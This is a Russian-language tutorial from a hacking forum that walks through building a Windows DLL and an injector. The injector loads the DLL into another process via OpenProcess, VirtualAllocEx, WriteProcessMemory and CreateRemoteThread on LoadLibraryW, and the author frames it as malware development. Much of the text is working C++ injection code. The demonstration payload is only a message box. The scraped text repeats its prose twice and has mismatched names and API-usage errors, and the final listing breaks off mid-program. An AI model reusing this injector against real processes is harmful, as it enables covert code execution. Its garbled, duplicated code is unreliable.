Автор: shqnx
Специально для xss.pro
Всех приветствую в данной статье, которая является продолжением в серии "Ставим уколы процессам в Windows" (*предыдущая часть*), желаю приятного чтения. Сразу к делу.
Итак, DLL - это набор данных или исполняемых функций, которые может использовать приложение Windows. DLL позволяют нескольким приложениям совместно использовать один и тот же код вместо того, чтобы каждое приложение содержало весь необходимый код по отдельности.
DLL очень важны, поскольку позволяют программистам модулировать свою работу и совместно использовать схожий код в нескольких приложениях. Это позволяет уменьшить размер и сложность кодовой базы, а также сэкономить время и силы при создании нового программного обеспечения. Практически любой процесс, который вы открываете, будет иметь какую-либо DLL, которую он использует/требует для корректной работы. Возьмем, к примеру, notepad.exe. Казалось бы, невероятно простая программа.
А вот небольшая часть из списка модулей, которых он загружает:
!! Термины "DLL", "библиотека" и "модули" используются как взаимозаменяемые в этой статье !!
Даже для такой, казалось бы, простой программы, как блокнот, количество модулей, которые она загружает, довольно большое. Кстати, инструмент, который я использую для просмотра - Process Hacker.
После краткого обзора предлагаю создать собственную DLL. Если вы хотите прочитать больше о DLL, рекомендую обратиться к официальной документации Microsoft.
Перед началом, нам нужно поговорить о точке входа DLL (DllMain).
Пример кода на C++, взятый с MSDN:
Аналогично с тем, как у наших стандартных исполняемых приложений есть главная точка входа (функция main), поступают и библиотеки DLL. Если грубо, то DllMain является эквивалентом "главной" точки входа стандартной программы. Нам нужно правильно настроить его, иначе наша DLL не будет работать. Прежде чем ее создавать, давайте быстро разберемся в том, как работает DLL, когда процесс загружает ее. В самой документации дается отличный обзор того, что происходит:
Всякий раз, когда процесс загружает DLL с помощью LoadLibrary и выгружает ее с помощью функции FreeLibrary, вызывается функция точки входа для DLL. В этой функции точки входа находится switch-case, который и будет "логикой" нашей DLL. Таким образом, если мы заставим целевой (таргет) процесс загрузить нашу DLL, наш код будет выполнен автоматически. А теперь давайте приступим к разработке нашей собственной DLL. Во-первых, если вы собираетесь проделывать это в Visual Studio, то для правильной компиляции нашей DLL потребуется немного дополнительных настроек. Вы также можете легко скомпилировать ее с помощью компилятора на ваш вкус, если не хотите использовать Visual Studio/MSVC.
Правый клик на наш проект, далее переходим в "Свойства".
В появившемся окне вам нужно будет изменить следующие настройки:
Нам нужно установить Тип конфигурации - Динамическая библиотека (.dll), поскольку мы хотим создать DLL. Ну и раз уж мы тут, заодно можем изменить Стандарт языка C++ на Стандарт ISO C++ 20, хотя это совершенно необязательно и не имеет значения для нашей DLL. После этого давайте добавим исходный файл в наш проект. После добавления исходного файла мы можем добавить заголовок Windows и начать написание кода:
Мы создаем функцию типа BOOL, вы также можете заметить присутствие макроса WINAPI. Возможно, вы зададитесь вопросом, что это такое? Если мы наведем курсор на макрос WINAPI, то увидим, что он просто расширяется в __stdcall:
Если вы еще не знаете, что такое __stdcall, то предлагаю быстренько исправить ситуацию.
Обратимся к MSDN:
Как мы видим, соглашение о вызове __stdcall используется для вызова функций Win32 API. Если мы хотим создать/использовать функцию, использующую это соглашение о вызове, нам потребуется прототип функции. Еще одна интересная особенность этого соглашения о вызове заключается в том, что параметры заносятся в стек в обратном порядке (справа налево):
Подробнее об этом и других ключевых словах вы можете прочитать тут.
Давайте продолжим разработку нашей DLL:
Первый параметр этой функции, "hinstDLL", определяет дескриптор модуля DLL, который мы собираемся создать. Значение этого параметра - базовый адрес DLL. Возможно, вы спросите, зачем нам вообще нужно получать дескриптор для модулей. Что ж, давайте рассмотрим пример, в котором используется функция, интересная нам в дальнейшем:
Вечно популярная функция GetProcAddress. Мы коснемся ее подробнее, когда перейдем к разделу "Создание программы", а пока все, что вам нужно знать, это то, что эта функция будет получать адрес функции внутри модуля. Чтобы GetProcAddress могла это сделать внутри библиотеки, модуля, DLL, чего угодно, ей нужен дескриптор к этой самой вышеупомянутой библиотеке, модулю, DLL или чему угодно. Поэтому для таких ситуаций, как эта, необходимы дескрипторы для модулей.
!! Еще одно замечание: HINSTANCE DLL - это то же самое, что и HMODULE DLL, поэтому hModule в данном случае можно использовать в вызовах функций, которым требуется обращение к модулю !!
Следующий параметр, fdwReason, - это код причины, указывающий, почему вызывается функция точки входа DLL. По сути, это переменная, которая сообщает нам, что произошло с DLL, например, была ли она загружена (присоединена) к процессу/потоку или выгружена (отсоединена) от процесса/потока и на основании всего происходящего наша DLL может выполнять определенные действия в соответствии с fdwReason. Это может быть одно из следующих значений, как показано в документации:
Итак, обновив код, имеем:
Последний параметр, lpvReserved, - это просто зарезервированный параметр, который мы должны предоставить этой функции. Иногда вы можете увидеть зарезервированные аргументы, которые необходимо предоставить функции, это совершенно нормально, и это просто то, что мы должны включить. Если вам интересно, что они делают и что означают, вы можете посмотреть документацию:
Теперь наш код выглядит следующим образом:
Создав функцию точки входа DllMain, мы можем приступить к "внутренностям" нашей DLL, к свитч-кейсам. Наши кейсы будут полностью зависеть от параметра dwReason.
!! В документации указаны все значения причин, то есть DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH, но нам не обязательно включать все эти значения. Мы можем включить только то, что нас действительно интересует !!
На самом деле нас действительно интересует только причина DLL_PROCESS_ATTACH, однако вы можете экспериментировать и с другими случаями. Возможно, даже использовать их в сочетании друг с другом. Если мы снова обратимся к документации по значению DLL_PROCESS_ATTACH, то увидим:
Мы видим, что это значение будет значением нашего dwReason, если наша DLL будет загружена в процесс. Итак, в оператор case для этого значения поместим функцию MessageBox:
Вот, собственно, и все. Опять же, вы можете взаимодействовать с другими кодами причин, но для наших целей этого пока достаточно. После компиляции мы можем протестировать нашу DLL с помощью программы типа rundll32. Синтаксис команды следующий:
!! Обратите внимание, что после нажатия кнопки "OK" rundll32 может выдать ошибку, но это совершенно нормально, не стоит беспокоиться !!
Как мы видим, все работает.
Мы видим, что эта функция загружает модуль в адресное пространство вызывающего процесса. А мы с вами уже знаем, что происходит, когда DLL загружается процессом - автоматически запускается функция точки входа указанной DLL.
LoadLibrary также относится к типу HMODULE, поскольку возвращает дескриптор к модулю (если ему удастся его получить). Она принимает один аргумент - lpLibFileName, который является именем самой библиотеки.
!! Имя модуля lpLibFileName не обязательно должно быть DLL, вы можете загрузить и исполняемый модуль (файл .exe). Однако если вы не укажете расширение для этого аргумента, то по умолчанию будет использоваться расширение .dll !!
Для этого аргумента мы передадим весь путь нашей DLL. Однако, как видно из документации, существуют и другие методы поиска, которые вы можете принять к сведению, например, указание относительного пути:
Также обратите внимание на небольшое замечание о том, что при указании пути нужно использовать обратные косые черты (\), а не прямые (/). Учитывая это, давайте создадим еще одну программу, которая загрузит нашу DLL, а после этого запустит наше окно с сообщением:
Эта программа начинается с определения (и инициализации) переменной типа HMODULE под названием hCrowDLL. В ней будет храниться базовый адрес нашей DLL, и это хэндл, который мы получаем на нашем модуле. Затем мы пытаемся загрузить библиотеку с помощью функции LoadLibraryW в адресное пространство этого модуля.
Поскольку мы знаем, что LoadLibrary возвращает NULL в случае ошибки, мы можем сделать небольшую проверку, чтобы узнать, удалось ли нам получить хэндл модуля или нет. Если нет, то мы выведем коды системных ошибок, выданные нам функцией GetLastError. Убедившись, что у нас есть правильный хэндл на нашем модуле, мы можем вывести адрес модуля. Наконец, мы можем выгрузить DLL с помощью функции FreeLibrary:
Если мы скомпилируем эту программу и запустим ее, то увидим, что программа загрузит нашу DLL с помощью LoadLibrary и на экране появится окно с сообщением, как и планировалось:
Единственное, что немного не нравится, это то, что наш вывод будет показан только после того, как мы нажмем кнопку OK, но это не страшно, ведь при инъекции этого не произойдет. После нажатия кнопки OK мы видим следующий вывод:
Теперь мы гораздо глубже понимаем, как работает загрузка, что позволит нам хорошо подготовиться к следующему разделу. Ну а теперь приступаем к самому вкусному и наконец-то приступим к созданию нашей программы для инъекции.
!! Возможно, вам будет лучше использовать strlen или что-то подобное, чтобы получить размер строки, а также добавить + 1 для учета нуль-терминатора. Однако в данном примере нам это не нужно, поскольку VirtualAlloc(Ex) создает и инициализирует обнуленную страницу памяти !!
Итак, объявляем и инициализируем некоторые переменные, которые будем использовать в нашей программе. Мы проверяем, был ли передан программе PID, и если да, то пытаемся открыть дескриптор процесса, которому принадлежит этот PID. После получения корректного дескриптора мы выведем его в консоль.
Сейчас нам предстоит получить дескриптор Kernel32. Мы уже экспериментировали с получением дескрипторов модулей в разделе "Загрузка нашей DLL", здесь та же идея, только DLL, к которой мы пытаемся получить дескриптор - это Kernel32.dll. Еще одно отличие заключается в том, что мы будем использовать функцию GetModuleHandle, которую мы рассмотрим в ближайшее время. Для начала давайте поговорим о том, почему мы выбрали именно Kernel32.dll. В этой DLL невероятно много различный функций.
Но это еще не все. Если мы поищем некоторые функции, которые мы уже использовали, например CreateRemoteThread, OpenProcess, VirtualAlloc и так далее, то увидим, что все они находятся в этой библиотеке. Функция, которая нас интересует в рамках данной статьи - это функция LoadLibrary. Она также находится внутри Kernel32.
Если вам интересно, что такое Kernel32, а не только его содержимое, то быстренько можем пробежаться по данному вопросу.
Kernel32 предоставляет приложениям большинство WIN32 API, таких как управление памятью, операции ввода/вывода (I/O), создание процессов и потоков, функции синхронизации и так далее. Это чрезвычайно важная и основная библиотека, которую используют многие приложения Windows.
Итак, если нам удастся получить дескриптор Kernel32, мы сможем использовать функцию типа GetProcAddress, чтобы получить адрес функции LoadLibrary внутри Kernel32 и использовать ее для нашего эксплойта. Давайте продолжим разработку:
Если мы посмотрим на синтаксис функции GetModuleHandleW, то увидим, что она возвращает дескриптор к указанному нами модулю. Она принимает один аргумент, lpModuleName, представляющий собой просто имя модуля, к которому мы хотим получить этот самый дескриптор:
Введем в эту функцию имя модуля Kernel32, а затем проверим, был ли возвращен корректный дескриптор к модулю или нет. Если да, то выведем его значение (это будет базовый адрес библиотеки Kernel32 DLL).
Если все пойдет по плану, то мы сможем извлекать адреса функций из этой библиотеки. Как мы можем это сделать? С помощью метко названной функции GetProcAddress (MSDN):
Эта функция получит адрес экспортируемой функции (также известной как процедура) или переменной из указанной DLL. Первый параметр, hModule - это обращение к модулю DLL, из которого мы хотим получить адрес функции, в данном случае это обращение к Kernel32, которое мы спрятали в нашей переменной handleKernel32:
Следующий параметр - это имя процедуры, адрес которой мы хотим получить, мы хотим LoadLibraryW из Kernel32, так что давайте укажем его:
На данный момент функция все еще не завершена. Мы уже затрагивали эту тему в предыдущей части (*тык*), в частности, в разделе "Создание потока", поэтому я не буду делать это еще раз. Нам нужно передать эту функцию в LPTHREAD_START_ROUTINE, так как мы хотим, чтобы адрес возвращаемой функции был начальной точкой для потока, который мы собираемся в конечном итоге создать. Давайте настроим это прямо сейчас:
Как мы можем заметить, наша DLL успешно загружена и мы можем наблюдать выполнение нашего пейлоада. Обратите внимание, что после нажатия на кнопку OK поток завершается, и наша программа выполняет выход, все это благодаря функции WaitForSingleObject.
На этом все, мы успешно произвели DLL-инъекцию в целевой (таргет) процесс. Спасибо за внимание.
Кроме того, если мы посмотрим на вкладку "Memory", то увидим здесь ссылки в памяти на нашу DLL:
Специально для xss.pro
Всех приветствую в данной статье, которая является продолжением в серии "Ставим уколы процессам в Windows" (*предыдущая часть*), желаю приятного чтения. Сразу к делу.
Введение и краткий экскурс
Прежде чем мы приступим к непосредственной DLL-инъекции на практике, нам необходимо разобраться с самим определением DLL и понять, что же это вообще такое.Итак, DLL - это набор данных или исполняемых функций, которые может использовать приложение Windows. DLL позволяют нескольким приложениям совместно использовать один и тот же код вместо того, чтобы каждое приложение содержало весь необходимый код по отдельности.
DLL очень важны, поскольку позволяют программистам модулировать свою работу и совместно использовать схожий код в нескольких приложениях. Это позволяет уменьшить размер и сложность кодовой базы, а также сэкономить время и силы при создании нового программного обеспечения. Практически любой процесс, который вы открываете, будет иметь какую-либо DLL, которую он использует/требует для корректной работы. Возьмем, к примеру, notepad.exe. Казалось бы, невероятно простая программа.
А вот небольшая часть из списка модулей, которых он загружает:
!! Термины "DLL", "библиотека" и "модули" используются как взаимозаменяемые в этой статье !!
Даже для такой, казалось бы, простой программы, как блокнот, количество модулей, которые она загружает, довольно большое. Кстати, инструмент, который я использую для просмотра - Process Hacker.
После краткого обзора предлагаю создать собственную DLL. Если вы хотите прочитать больше о DLL, рекомендую обратиться к официальной документации Microsoft.
Создаем нашу первую DLL
Ради примера я создам DLL, которая просто будет создавать окно с некоторым сообщением.Перед началом, нам нужно поговорить о точке входа DLL (DllMain).
Пример кода на C++, взятый с MSDN:
Аналогично с тем, как у наших стандартных исполняемых приложений есть главная точка входа (функция main), поступают и библиотеки DLL. Если грубо, то DllMain является эквивалентом "главной" точки входа стандартной программы. Нам нужно правильно настроить его, иначе наша DLL не будет работать. Прежде чем ее создавать, давайте быстро разберемся в том, как работает DLL, когда процесс загружает ее. В самой документации дается отличный обзор того, что происходит:
Всякий раз, когда процесс загружает DLL с помощью LoadLibrary и выгружает ее с помощью функции FreeLibrary, вызывается функция точки входа для DLL. В этой функции точки входа находится switch-case, который и будет "логикой" нашей DLL. Таким образом, если мы заставим целевой (таргет) процесс загрузить нашу DLL, наш код будет выполнен автоматически. А теперь давайте приступим к разработке нашей собственной DLL. Во-первых, если вы собираетесь проделывать это в Visual Studio, то для правильной компиляции нашей DLL потребуется немного дополнительных настроек. Вы также можете легко скомпилировать ее с помощью компилятора на ваш вкус, если не хотите использовать Visual Studio/MSVC.
Правый клик на наш проект, далее переходим в "Свойства".
В появившемся окне вам нужно будет изменить следующие настройки:
Нам нужно установить Тип конфигурации - Динамическая библиотека (.dll), поскольку мы хотим создать DLL. Ну и раз уж мы тут, заодно можем изменить Стандарт языка C++ на Стандарт ISO C++ 20, хотя это совершенно необязательно и не имеет значения для нашей DLL. После этого давайте добавим исходный файл в наш проект. После добавления исходного файла мы можем добавить заголовок Windows и начать написание кода:
C++:
#include <Windows.h>
BOOL WINAPI DllMain() {
return TRUE;
}
Мы создаем функцию типа BOOL, вы также можете заметить присутствие макроса WINAPI. Возможно, вы зададитесь вопросом, что это такое? Если мы наведем курсор на макрос WINAPI, то увидим, что он просто расширяется в __stdcall:
Если вы еще не знаете, что такое __stdcall, то предлагаю быстренько исправить ситуацию.
Обратимся к MSDN:
Как мы видим, соглашение о вызове __stdcall используется для вызова функций Win32 API. Если мы хотим создать/использовать функцию, использующую это соглашение о вызове, нам потребуется прототип функции. Еще одна интересная особенность этого соглашения о вызове заключается в том, что параметры заносятся в стек в обратном порядке (справа налево):
Подробнее об этом и других ключевых словах вы можете прочитать тут.
Давайте продолжим разработку нашей DLL:
C++:
#include <Windows.h>
/* Вместо WINAPI можно использовать только что пройденное соглашение о вызове __stdcall, однако я отдам предпочтение макросу */
BOOL WINAPI DllMain(HINSTANCE hModule, ...) {
return TRUE;
}
Первый параметр этой функции, "hinstDLL", определяет дескриптор модуля DLL, который мы собираемся создать. Значение этого параметра - базовый адрес DLL. Возможно, вы спросите, зачем нам вообще нужно получать дескриптор для модулей. Что ж, давайте рассмотрим пример, в котором используется функция, интересная нам в дальнейшем:
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
Вечно популярная функция GetProcAddress. Мы коснемся ее подробнее, когда перейдем к разделу "Создание программы", а пока все, что вам нужно знать, это то, что эта функция будет получать адрес функции внутри модуля. Чтобы GetProcAddress могла это сделать внутри библиотеки, модуля, DLL, чего угодно, ей нужен дескриптор к этой самой вышеупомянутой библиотеке, модулю, DLL или чему угодно. Поэтому для таких ситуаций, как эта, необходимы дескрипторы для модулей.
!! Еще одно замечание: HINSTANCE DLL - это то же самое, что и HMODULE DLL, поэтому hModule в данном случае можно использовать в вызовах функций, которым требуется обращение к модулю !!
Следующий параметр, fdwReason, - это код причины, указывающий, почему вызывается функция точки входа DLL. По сути, это переменная, которая сообщает нам, что произошло с DLL, например, была ли она загружена (присоединена) к процессу/потоку или выгружена (отсоединена) от процесса/потока и на основании всего происходящего наша DLL может выполнять определенные действия в соответствии с fdwReason. Это может быть одно из следующих значений, как показано в документации:
Итак, обновив код, имеем:
C++:
#include <Windows.h>
BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, ...) {
return TRUE;
}
Последний параметр, lpvReserved, - это просто зарезервированный параметр, который мы должны предоставить этой функции. Иногда вы можете увидеть зарезервированные аргументы, которые необходимо предоставить функции, это совершенно нормально, и это просто то, что мы должны включить. Если вам интересно, что они делают и что означают, вы можете посмотреть документацию:
Теперь наш код выглядит следующим образом:
C++:
#include <Windows.h>
BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {
return TRUE;
}
Создав функцию точки входа DllMain, мы можем приступить к "внутренностям" нашей DLL, к свитч-кейсам. Наши кейсы будут полностью зависеть от параметра dwReason.
!! В документации указаны все значения причин, то есть DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH, но нам не обязательно включать все эти значения. Мы можем включить только то, что нас действительно интересует !!
На самом деле нас действительно интересует только причина DLL_PROCESS_ATTACH, однако вы можете экспериментировать и с другими случаями. Возможно, даже использовать их в сочетании друг с другом. Если мы снова обратимся к документации по значению DLL_PROCESS_ATTACH, то увидим:
Мы видим, что это значение будет значением нашего dwReason, если наша DLL будет загружена в процесс. Итак, в оператор case для этого значения поместим функцию MessageBox:
C++:
#include <Windows.h>
BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"Привет, xss.pro!", L"xss.pro", MB_ICONEXCLAMATION);
break;
}
return TRUE;
}
Вот, собственно, и все. Опять же, вы можете взаимодействовать с другими кодами причин, но для наших целей этого пока достаточно. После компиляции мы можем протестировать нашу DLL с помощью программы типа rundll32. Синтаксис команды следующий:
rundll32 имя_вашей.dll,имя_вашей_функции
!! Обратите внимание, что после нажатия кнопки "OK" rundll32 может выдать ошибку, но это совершенно нормально, не стоит беспокоиться !!
Как мы видим, все работает.
Загрузка нашей DLL
Мы создали нашу DLL. Теперь давайте обсудим процесс ее загрузки из другой программы. Я считаю, что разобраться с этим необходимо, потому что в противном случае мы создаем мальварь, не понимая, что происходит в фоновом режиме. Если вы помните, здесь упоминалась функция LoadLibrary. Это будет функция, которую мы используем для загрузки нашей библиотеки. Если мы посмотрим на документацию по этой функции, то увидим следующее:
Мы видим, что эта функция загружает модуль в адресное пространство вызывающего процесса. А мы с вами уже знаем, что происходит, когда DLL загружается процессом - автоматически запускается функция точки входа указанной DLL.
LoadLibrary также относится к типу HMODULE, поскольку возвращает дескриптор к модулю (если ему удастся его получить). Она принимает один аргумент - lpLibFileName, который является именем самой библиотеки.
!! Имя модуля lpLibFileName не обязательно должно быть DLL, вы можете загрузить и исполняемый модуль (файл .exe). Однако если вы не укажете расширение для этого аргумента, то по умолчанию будет использоваться расширение .dll !!
Для этого аргумента мы передадим весь путь нашей DLL. Однако, как видно из документации, существуют и другие методы поиска, которые вы можете принять к сведению, например, указание относительного пути:
Также обратите внимание на небольшое замечание о том, что при указании пути нужно использовать обратные косые черты (\), а не прямые (/). Учитывая это, давайте создадим еще одну программу, которая загрузит нашу DLL, а после этого запустит наше окно с сообщением:
C++:
#include <Windows.h>
#include <stdio.h>
/* Определяяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
int main(void) {
HMODULE hXssisDLL = NULL;
wchar_t dllPath[MAX_PATH] = L"C:\\ПУТЬ\\К\\xssis.dll";
printf("%s Пытаемся получить дескриптор процесса %S\n", minus, dllPath);
hXssisDLL = LoadLibraryW(dllPath);
if (hXssisDLL == NULL) {
printf("%s Не удалось получить дескриптор xssis.dll, ошибка: 0x%lx", minus, GetLastError());
return 1;
}
printf("%s Дескриптор xssis.dll получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, hXssisDLL);
printf("%s Выгружаем модуль\n", asterisk);
FreeLibrary(hXssisDLL);
printf("%s Завершено, нажмите Enter для выхода", plus);
getchar();
return 0;
}
Эта программа начинается с определения (и инициализации) переменной типа HMODULE под названием hCrowDLL. В ней будет храниться базовый адрес нашей DLL, и это хэндл, который мы получаем на нашем модуле. Затем мы пытаемся загрузить библиотеку с помощью функции LoadLibraryW в адресное пространство этого модуля.
Поскольку мы знаем, что LoadLibrary возвращает NULL в случае ошибки, мы можем сделать небольшую проверку, чтобы узнать, удалось ли нам получить хэндл модуля или нет. Если нет, то мы выведем коды системных ошибок, выданные нам функцией GetLastError. Убедившись, что у нас есть правильный хэндл на нашем модуле, мы можем вывести адрес модуля. Наконец, мы можем выгрузить DLL с помощью функции FreeLibrary:
Если мы скомпилируем эту программу и запустим ее, то увидим, что программа загрузит нашу DLL с помощью LoadLibrary и на экране появится окно с сообщением, как и планировалось:
Единственное, что немного не нравится, это то, что наш вывод будет показан только после того, как мы нажмем кнопку OK, но это не страшно, ведь при инъекции этого не произойдет. После нажатия кнопки OK мы видим следующий вывод:
Теперь мы гораздо глубже понимаем, как работает загрузка, что позволит нам хорошо подготовиться к следующему разделу. Ну а теперь приступаем к самому вкусному и наконец-то приступим к созданию нашей программы для инъекции.
Создание программы
Большая часть кода будет полностью идентична коду из моей статьи про инъекцию шелл-кода. Для начала напишем код, после чего разберем его.
C++:
#include <Windows.h>
#include <stdio.h>
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
int main(int argc, char* argv[]) {
/* Объявляем и инициализируем некоторые переменные для последующего использования */
DWORD threadID = NULL;
DWORD processID = NULL;
LPVOID buffer = NULL;
HANDLE handleProcess = NULL;
HANDLE handleThread = NULL;
HMODULE handleKernel32 = NULL;
wchar_t dllPath[MAX_PATH] = L"C:\\ПУТЬ\\К\\xssis.dll";
size_t pathSize = sizeof(dllPath);
size_t bytesWritten = 0;
/* Получаем дексриптор процесса */
if (argc < 2) {
printf("%s Пример использования: %s <PID>", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
printf("%s Пытаемся получить дескриптор процесса (%ld)\n", asterisk, processID);
handleProcess = OpenProcess((PROCESS_VM_OPERATION | PROCESS_VM_WRITE), FALSE, processID);
if (handleProcess == NULL) {
printf("%s Не удалось получить дескриптор процесса (%ld), ошибка: 0x%lx\n", minus, processID, GetLastError());
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
/* ... */
/* Освобождаем ресурсы */
CloseHandle(handleThread);
CloseHandle(handleProcess);
printf("%s Завершено", plus);
return 0;
}
!! Возможно, вам будет лучше использовать strlen или что-то подобное, чтобы получить размер строки, а также добавить + 1 для учета нуль-терминатора. Однако в данном примере нам это не нужно, поскольку VirtualAlloc(Ex) создает и инициализирует обнуленную страницу памяти !!
Итак, объявляем и инициализируем некоторые переменные, которые будем использовать в нашей программе. Мы проверяем, был ли передан программе PID, и если да, то пытаемся открыть дескриптор процесса, которому принадлежит этот PID. После получения корректного дескриптора мы выведем его в консоль.
Сейчас нам предстоит получить дескриптор Kernel32. Мы уже экспериментировали с получением дескрипторов модулей в разделе "Загрузка нашей DLL", здесь та же идея, только DLL, к которой мы пытаемся получить дескриптор - это Kernel32.dll. Еще одно отличие заключается в том, что мы будем использовать функцию GetModuleHandle, которую мы рассмотрим в ближайшее время. Для начала давайте поговорим о том, почему мы выбрали именно Kernel32.dll. В этой DLL невероятно много различный функций.
Но это еще не все. Если мы поищем некоторые функции, которые мы уже использовали, например CreateRemoteThread, OpenProcess, VirtualAlloc и так далее, то увидим, что все они находятся в этой библиотеке. Функция, которая нас интересует в рамках данной статьи - это функция LoadLibrary. Она также находится внутри Kernel32.
Если вам интересно, что такое Kernel32, а не только его содержимое, то быстренько можем пробежаться по данному вопросу.
Kernel32 предоставляет приложениям большинство WIN32 API, таких как управление памятью, операции ввода/вывода (I/O), создание процессов и потоков, функции синхронизации и так далее. Это чрезвычайно важная и основная библиотека, которую используют многие приложения Windows.
Итак, если нам удастся получить дескриптор Kernel32, мы сможем использовать функцию типа GetProcAddress, чтобы получить адрес функции LoadLibrary внутри Kernel32 и использовать ее для нашего эксплойта. Давайте продолжим разработку:
C++:
/* ... */
/* Получаем дескриптор Kernel32 */
printf("%s Пытаемся получить дескриптор Kernel32.dll\n", asterisk);
handleKernel32 = GetModuleHandleW(L"kernel32");
/* ... */
Если мы посмотрим на синтаксис функции GetModuleHandleW, то увидим, что она возвращает дескриптор к указанному нами модулю. Она принимает один аргумент, lpModuleName, представляющий собой просто имя модуля, к которому мы хотим получить этот самый дескриптор:
Введем в эту функцию имя модуля Kernel32, а затем проверим, был ли возвращен корректный дескриптор к модулю или нет. Если да, то выведем его значение (это будет базовый адрес библиотеки Kernel32 DLL).
C++:
/* ... */
/* Получаем дескриптор Kernel32 */
printf("%s Пытаемся получить дескриптор Kernel32.dll\n", asterisk);
handleKernel32 = GetModuleHandleW(L"kernel32");
if (handleKernel32 == NULL) {
printf("%s Не удалось получить дескриптор Kernel32.dll, ошибка: 0x%lx\n", minus, GetLastError());
CloseHandle(handleProcess);
return 1;
}
printf("%s Дескриптор Kernel32.dll получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleKernel32);
/* ... */
Если все пойдет по плану, то мы сможем извлекать адреса функций из этой библиотеки. Как мы можем это сделать? С помощью метко названной функции GetProcAddress (MSDN):
Эта функция получит адрес экспортируемой функции (также известной как процедура) или переменной из указанной DLL. Первый параметр, hModule - это обращение к модулю DLL, из которого мы хотим получить адрес функции, в данном случае это обращение к Kernel32, которое мы спрятали в нашей переменной handleKernel32:
C++:
/* ... */
/* Получаем адрес LoadLibrary */
printf("%s Пытаемся получить адрес LoadLibraryW()\n", asterisk);
GetProcAddress(handleKernel32, ...);
/* ... */
Следующий параметр - это имя процедуры, адрес которой мы хотим получить, мы хотим LoadLibraryW из Kernel32, так что давайте укажем его:
C++:
/* ... */
/* Получаем адрес LoadLibrary */
printf("%s Пытаемся получить адрес LoadLibraryW()\n", asterisk);
GetProcAddress(handleKernel32, L"LoadLibraryW");
/* ... */
На данный момент функция все еще не завершена. Мы уже затрагивали эту тему в предыдущей части (*тык*), в частности, в разделе "Создание потока", поэтому я не буду делать это еще раз. Нам нужно передать эту функцию в LPTHREAD_START_ROUTINE, так как мы хотим, чтобы адрес возвращаемой функции был начальной точкой для потока, который мы собираемся в конечном итоге создать. Давайте настроим это прямо сейчас:
C++:
/* ... */
/* Получаем адрес LoadLibrary */
printf("%s Пытаемся получить адрес LoadLibraryW()\n", asterisk);
LPTHREAD_START_ROUTINE xssisLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(handleKernel32, "LoadLibraryW");
printf("%s Адрес LoadLibraryW() получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisLoadLibrary);
/* ... */
C++:
#include <Windows.h>
#include <stdio.h>
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
int main(int argc, char* argv[]) {
/* Объявляем и инициализируем некоторые переменные для последующего использования */
DWORD threadID = NULL;
DWORD processID = NULL;
LPVOID buffer = NULL;
HANDLE handleProcess = NULL;
HANDLE handleThread = NULL;
HMODULE handleKernel32 = NULL;
wchar_t dllPath[MAX_PATH] = L"C:\\ПУТЬ\\К\\xssis.dll";
size_t pathSize = sizeof(dllPath);
size_t bytesWritten = 0;
/* Получаем дексриптор процесса */
if (argc < 2) {
printf("%s Пример использования: %s <PID>", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
printf("%s Пытаемся получить дескриптор процесса (%ld)\n", asterisk, processID);
handleProcess = OpenProcess((PROCESS_VM_OPERATION | PROCESS_VM_WRITE), FALSE, processID);
if (handleProcess == NULL) {
printf("%s Не удалось получить дескриптор процесса (%ld), ошибка: 0x%lx\n", minus, processID, GetLastError());
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
/* Получаем дескриптор Kernel32 */
printf("%s Пытаемся получить дескриптор Kernel32.dll\n", asterisk);
handleKernel32 = GetModuleHandleW(L"kernel32");
if (handleKernel32 == NULL) {
printf("%s Не удалось получить дескриптор Kernel32.dll, ошибка: 0x%lx\n", minus, GetLastError());
CloseHandle(handleProcess); // Освобождаем ресурсы
return 1;
}
printf("%s Дескриптор Kernel32.dll получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleKernel32);
/* Получаем адрес LoadLibrary */
printf("%s Пытаемся получить адрес LoadLibraryW()\n", asterisk);
LPTHREAD_START_ROUTINE xssisLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(handleKernel32, "LoadLibraryW");
if (xssisLoadLibrary == NULL) {
printf("%s Не удалось получить адрес LoadLibraryW(), ошибка: 0x%lx\n", minus, GetLastError());
CloseHandle(handleProcess); // Освобождаем ресурсы
return 1;
}
printf("%s Адрес LoadLibraryW() получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisLoadLibrary);
/* Выделяем буфер */
printf("%s Выделяем память в целевом (таргет) процессе\n", asterisk);
buffer = VirtualAllocEx(handleProcess, NULL, pathSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (buffer == NULL) {
printf("%s Не удалось выделить буфер в памяти целевого (таргет) процесса, ошибка: 0x%lx\n", minus, GetLastError());
CloseHandle(handleProcess); // Освобождаем ресурсы
return 1;
}
printf("%s Буфер в памяти целевого (таргет) процесса выделен (PAGE_READWRITE)\n", plus);
/* Записываем в память */
printf("%s Записываем в выделенный буфер\n", asterisk);
WriteProcessMemory(handleProcess, buffer, dllPath, pathSize, &bytesWritten);
printf("%s Записано %zu байт в памяти процесса\n", plus, bytesWritten);
/* Создаем поток */
printf("%s Создаем поток\n", asterisk);
handleThread = CreateRemoteThread(handleProcess, NULL, 0, xssisLoadLibrary, buffer, 0, &threadID);
